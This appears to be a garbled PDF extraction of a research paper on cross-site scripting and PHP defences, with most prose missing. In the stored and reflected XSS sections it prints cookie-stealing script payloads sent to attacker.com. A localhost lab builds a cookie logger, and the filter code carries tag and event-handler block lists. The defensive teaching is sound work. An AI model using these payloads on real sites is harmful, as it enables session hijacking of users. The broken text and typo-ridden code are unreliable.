
 Cross-Site Scripting

:.  
  

 

   

  

)Internet ( 

.  

 

)HTML (Java Script VBScript  

 XSS    

  

                                                
)–  ( – 

-.  
 

Clic
k t

o buy N
OW!

PDF-XChange

w
w

w.tracker-software
.c

om Clic
k t

o buy N
OW!

PDF-XChange

w
w

w.tracker-software

.c
om

http://www.tracker-software.com/buy-now
http://www.tracker-software.com/buy-now


 

 

 .  

:  
 .  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

Clic
k t

o buy N
OW!

PDF-XChange

w
w

w.tracker-software
.c

om Clic
k t

o buy N
OW!

PDF-XChange

w
w

w.tracker-software

.c
om

http://www.tracker-software.com/buy-now
http://www.tracker-software.com/buy-now


 

Cross-Site Scripting in Web-based 
information systems and methods of 

protection and closure
 

Abstract  
In recent times we have been hearing about penetrations of websites 
that are spread over the Internet or what are called information 
systems that operate on the Internet in various fields, directions, 
objectives and software applications that operate on these websites 
or systems within the Internet by unknown persons and the source, 
Infringement and destruction of protection methods In some cases, 
these events or operations often result in the destruction or theft of 
sensitive and critical information and have become a source of great 
horror and inconvenience to programmers and web developers. 
They are at a loss and sometimes unable to figure out the reasons for 
what is happening. 
In this research I have prepared a study on one of the important security 
vulnerabilities which is a programming error that can be exploited or 
exploited by the integration of scripts by it. These texts are usually written 
in one of the languages that can be combined with the hypertext markup 
language (HTML) Java Script, VBScript, or any other language. XSS, ie, 
cross-site programming, was also abbreviated. It also showed the severity 
of this vulnerability and its effectiveness in the process of penetrating 
websites. The process of processing user input is important to avoid. This 
type of occurrence occurs Rat, and other other results. 
Keywords: Security vulnerability, cross-site scripting, security 
information systems that work on the web, vulnerability, malware, 
attack, defense, hacking sites. 
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-XSS  : 
:  

 --STORED XSS :  

 )Persistent  XSS(

 

 

 XSS 

    

 [8][5] 

 

XSS   )browser's XSS filter(    

   

  

   

 

:  
Username: 
user123<script>document.location='https://attacker.com/?cookie='+
encodeURIComponent(document.cookie)</script>  
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Registered since: 2018 

 )cookie(  

  [8] .

  )social 

media website( XSS 

     

   

    

[8].   

 
 POST XSS  

)hack( 
HTML 

Html
 [9][10]

(Script) XSS 
Html :  

<html> 
<****** name="I1" ***="http://www.example.com" 
margin*****="1" margin******="1" ******="1" *****="1" 
scrolling="no" border="0" frameborder="0"> 
</******> 
</******></p> 

</html> 
example.com 

   

)Patch(Html  

 [10].  
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 HTML 

 : 
<?php 
if(isset($_POST['btnSign'])) 
{ 
$message=trim($_POST['mtxMessage']); 
$name=trim($_POST['txtName']); 
// Sanitize message input 
$message = stripslashes($message); 
$message = mysql_real_escape_string($message); 
// Sanitize name input 
$name = mysql_real_escape_string($name); 
$query = "INSERT INTO guestbook (comment,name) VALUES ( 
'$message','$name');"; 
$result=mysql_query($query) or die('<pre>'.mysql_error().'</pre>'); 
} 
?> 

 "message ""name "

 

  

JavaScript   [11].  

 --REFLECTED XSS :  

 )non-

persistent (    

   

 URL   

     URL  
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  REFLECTED XSS 

[12][11][8][5].  

  XSS 

 

  

   URL   

)malicious client-side script ( GET 

 url )web server (

 

 GET  q 

:  
https://example.com/news?q=data+breach 

:  
You searched for "data breach": 

: 
https://example.com/news?q=<script>document.location='https://att
acker.com/log.php?c=' + 
encodeURIComponent(document.cookie)</script> 

:  
You searched for  
"<script>document.location='https://attacker.com/log.php?c=' + 
document.cookie</script>": 
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 HTML 

example.com [8]GET.  

   :  
https://vulnerable_website.com/error.php?message=<script>var+i=n
ew+Image;+i.src="http://attacker.com/"\%2bdocument.cookie;</scr
ipt>  

   

)cookie () ( 

)parameter( )session 

token (   )victims session.( 

)(  

:   

)session tokens( /.  

  .  

.   

 IP .  

.  

 [13].  

  URL 

 URL    

  URL     

  URL  (Hex value) Hex   

      

    Google     

    XSS REFLECTED   
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  URL 

       

ASCII  ASCII    

 URL   

[12][10][4].  

 URL  

 XSS :  
http://dict.cn/<_2Ftitle><script>alert("XSS")<_2Fscript><title>  

  

 

 

 [12]:  
http://dict.cn/%3C_2Ftitle%3E%3Cscript%3Ealert(%22XSS%22)%
3C_2Fscript%3E%3Ctitle%3E  

 --:DOM-based XSS   

 DOM-based XSS   XSS  

    

 DOM DOM  Document Object Model 

)scripting (

[13][12][4]]14[   

HTML   XML   )Web 2.0(   DOM  

HTML   HTML 

DOM  DOM 

)scripting ( HTML  XML  HTML   

XML      

DOM-based XSS    DOM  XSS  

 XSS     REFLECTED XSS  STORED 
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  DOM  

 

      DOM  

[12]]15[     

 XSS [8]. 

    

 

DOM    DOM 

   document.URL 

   

 URL   DOM 

  )script (

[13].  

  
<script> 
var a = document.URL; 
a = unescape(a); 
document.write(a.substring(a.indexof("message=") + 8, a.length)) 
</script> 

  URL  

"message ="  [13].  

    

http://www.example.com/test.html  :[8]  

>script< 
    document.write("<b>Current URL</b> : " + 

document.baseURI( 

>/script< 

  HTTP :  
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 http://www.example.com/test.html# <script> alert (1) </script>  
 JavaScript  

  URL  document.write 

<script> alert (1) </script>  DOM 

 JavaScript   

  )cookies( 

.  

 

 Google  Yahoo . Alexa. 

 DOM Based XSS  XSS 

 DOM  XSS 

   "#) "

hash ([8].  

- XSS :  
  

)Client-side ( )Server-side(  

:  

  HTML 

JavaScript [16] [17] [18]. 

  )headers(  )cookies( 

)query strings( )form fields ( 

)hidden fields(  )parameters (

 [16]. 
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XSS    %[12]. 

  

XSS    [12]. 

   javascript  ActiveX  

Quicktime  javascript 

  Firefox noscript [18]. 

  high  

 )cookies( [16][17]. 

 [12]  

   

   [16]. 

 HTML strip_tags() 

HTML  

PHP : 
<?php 
Echo strip_tags($_POST['input_name]) ; 
?>  

  )Tags (

    <h1>,<b> 

 strip_tags 

 

[<b>]  PHP: 

<  
class check 
{function check() 
global $HTTP_POST_VARS; 
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$User Name=$HTTP_POST_VARS['User Name']; 

$User Name= strip_tags($User Name, "<b><h1>"); 
echo($User Name);}}; 
$start_new=new check(); 

> 

HTML <b>,<h1> 

[18]. 

    HTML 

    [19]

: 
<?php 
function clear_from_xss($contents) 
{ 
return str_replace('<script', '', str_replace('<meta', '', $contents)); 
} 
?>  

 :  

<?php 
echo clear_from_xss($_POST['input_name']); 
?>  

     

)Search( PHP  

 htmlentities(), htmlspecialchars(), utf8_decode()  

 [18]

   :  
<?php 
print $_GET['hacked']; 
?> 

:  
<?php 
print htmlspecialchars($_GET['hacked']); 
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?> 
  :  

<form> 
<input type="text" name="message"></br> 
<input type="submitt" > 
</form> 
<?php 
if(isset($_GET['message'])) 
{ 
$message=htmlentities(($_GET['message']); 
$fp=fopen('./message.txt','a'); 
fwrite($fp,"$message</br>"); 
fclose($fp); 
} 
readfile('./message.txt'); 
?> 

  

 )cookies( 

php 

xss.php   [19]:  
<? 
if ( isset($code) ) 
_ 
echo stripslashes($code); 
_ 
echo "<form method='get_><input type='text' name='code'><input 
type='submit'></form>_; 
?> 

 )cookies( res.php  

:  
<? 
Setcookie("myname" , "alqursan" , "time()+(3600"); 
?> 
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 )cookies( cookies.php   

log.htm 

:  
<? 
$data=$HTTP_COOKIE; 
$fp = fopen("log.htm","a"); 
flock ($fp,2); 
fputs ($fp,<BR>$data); 
flock($fp,3); 
fclose($fp); 
?> 

C:\apache\htdocs

res.php  

:  
http://localhost/res.php   

xss.php :  
http://localhost/xss.php 

:  
<script>document.location='http://localhost/cookies.php?'+document.c
ookie</script> 

  :  
?word=<script>document.location='http://localhost/cookies.php?'+doc
ument.cookie</script > 

cookies.php 

)cookies (log.htm 

)cookies (log.htm :  
http://localhost/log.htm 

 stripslashes($code); 

xss.php  addslashes($code); 

 [19].  
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  XSS  )XSS filters(

  XSS      XSS 

[18]: 

-: XSS-Clean filter    PHP 

 XSS 

 http://ha.ckers.org/xss.html  XSS_Clean   

preg_replace ()      

XSS  [18].  

 - RemoveXSS filter : XSS 

 PHP XSS.PHP

include(XSS.php)

[16]: 
<? 
function RemoveXSS($val) 
 { 
   // remove all non-
printable characters. CR(0a) and LF(0b) and TAB(9) are allowed 
   // this prevents some character re-spacing such as <java\0script> 
   // note that you have to handle splits with \n, \r, and \t later since they
 *are* allowed in some inputs 
   $val = preg_replace('/([\x00-\x08][\x0b-\x0c][\x0e-\x20])/', '', $val); 
   // straight replacements, the user should never need these since they'r
e normal characters 
   // this prevents like <IMG SRC=&#X40&#X61&#X76&#X61&#X7
3&#X63&#X72&#X69&#X70&#X74&#X3A&#X61&#X6C&#X65
&#X72&#X74&#X28&#X27&#X58&#X53&#X53&#X27&#X29> 
   $search = 'abcdefghijklmnopqrstuvwxyz'; 
   $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; 
   $search .= '1234567890!@#$%^&*()'; 
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   $search .= '~`";:?+/={}[]-_|\'\\'; 
   for ($i = 0; $i < strlen($search); $i++) { 
      // ;? matches the ;, which is optional 
      // 0{0,7} matches any padded zeros, which are optional and go up t
o 8 chars 
      // &#x0040 @ search for the hex values 
      $val = preg_replace('/(&#[x|X]0{0,8}'.dechex(ord($search[$i])).';?)
/i', $search[$i], $val); // with a ; 
      // @ @ 0{0,7} matches '0' zero to seven times 
      $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i]
, $val); // with a ; 
   } 
   // now the only remaining whitespace attacks are \t, \n, and \r 
   $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml',
 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset
', 'ilayer', 'layer', 'bgsound', 'title', 'base'); 
   $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'on
beforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onb
eforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbe
foreupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'o
ncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'on
datasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondra
g', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 
'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus',
 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup
', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmou
seenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover',
 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', '
onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 
'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', '
onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart
', 'onstart', 'onstop', 'onsubmit', 'onunload'); 
   $ra = array_merge($ra1, $ra2); 
   $found = true; // keep replacing as long as the previous round replace
d something 
   while ($found == true) { 
      $val_before = $val; 
      for ($i = 0; $i < sizeof($ra); $i++) { 
         $pattern = '/'; 
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         for ($j = 0; $j < strlen($ra[$i]); $j++) { 
            if ($j > 0) { 
               $pattern .= '('; 
               $pattern .= '(&#[x|X]0{0,8}([9][a][b]);?)?'; 
               $pattern .= '|(&#0{0,8}([9][10][13]);?)?'; 
               $pattern .= ')?'; 
            } 
            $pattern .= $ra[$i][$j]; 
         } 
         $pattern .= '/i'; 
         $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add
 in <> to nerf the tag 
         $val = preg_replace($pattern, $replacement, $val); // filter out the
 hex tags 
         if ($val_before == $val) { 
            // no replacements were made, so exit the loop 
            $found = false; 
         } 
      } 
   } 
} 
?> 

name : 
$name = RemoveXSS($HTTP_POST_VARS['name']);  

  XSS  

 XSS   )XSS scripts(   

  XSS  XSS_Clean [18].  

-XSS-Master filter:   HTML 

 preg_replace ()  preg_match ()  

  

XSS )XSS scripts(

 

[18].  
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- XSS_Protect filter:  PHP  

strip_tags ()   htmlentities () XSS   

  stripos  script)  ( 

  scr <b> </b> ipt    
 strip_tags ()  [18].  

 -   Research results and recommendations:  

.  

. 

.   

. 

. 

Html. 

.  

 )cookies( 

. 

. 
. 

. 

. 

. 

HTML 

. 

.    

  . 
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.   

  

  )Patch(Html 

    

.   

 

 

. 

.  . 

-Conclusion:  

  

   

   

 .  

 

 

    

 

 

 HTTP Referrer  .

 XSS  

 XSS 

 XSS  XSS   

  .  
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